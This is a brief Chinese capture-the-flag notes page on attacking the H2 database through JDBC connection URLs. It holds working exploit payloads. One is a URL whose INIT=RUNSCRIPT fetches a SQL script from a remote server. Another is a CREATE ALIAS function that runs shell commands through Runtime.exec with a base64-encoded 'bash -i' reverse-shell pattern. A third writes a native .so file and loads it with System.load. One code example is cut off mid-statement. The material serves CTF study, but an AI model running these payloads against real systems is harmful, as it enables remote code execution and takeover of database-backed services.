h2sql

第一次用到是在ez_solon里面
先简单给个EXP吧,之后再碰到再详细写
找有getConnect的类,然后url这样写
1 | UnpooledDataSource dataSource = new UnpooledDataSource("jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/h2.sql'", "1diOt9", "123456", "org.database.Driver"); |
.sql文件有多种写法
Script引擎加载(jdk17失效)
一是直接用JavaScript引擎加载执行:
1 | CREATE TABLE test ( |
值得注意的是,这个方法在jdk17里会失效,因为Java17版本中JavaScript引擎(Nashorn)已经被删除。NCTF25的H2 Revenge就考了这个。
定义函数执行
二是定义一个函数执行:
1 | CREATE ALIAS SHELL AS $$ String shellexec(String cmd) throws java.io.IOException { System.setSecurityManager(null);java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL SHELL('bash -c {echo,aaa}|{base64,-d}|{bash,-i}'); |
值得注意的是如果只有jre而没有jdk,那么这个也会失效。因为这个方法需要jdk将函数编译后使用,如果只有jre就没办法编译了。
调用public static 函数
1 | MyDataSource myDataSource = new MyDataSource("jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'", "1diOt9", "123456"); |
写文件
CALL FILE_WRITE(X’自己的so的十六进制编码’, ‘/tmp/exp.so’);
CREATE ALIAS IF NOT EXISTS System_load FOR “java.lang.System.load(java.lang.String)”;
CALL System_load(‘/tmp/exp.so’);
参考
H2 database漏洞复现 - Running_J - 博客园
[JavaSec/9.JDBC Attack/h2/index.md at main · Y4tacker/JavaSec](https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC Attack/h2/index.md)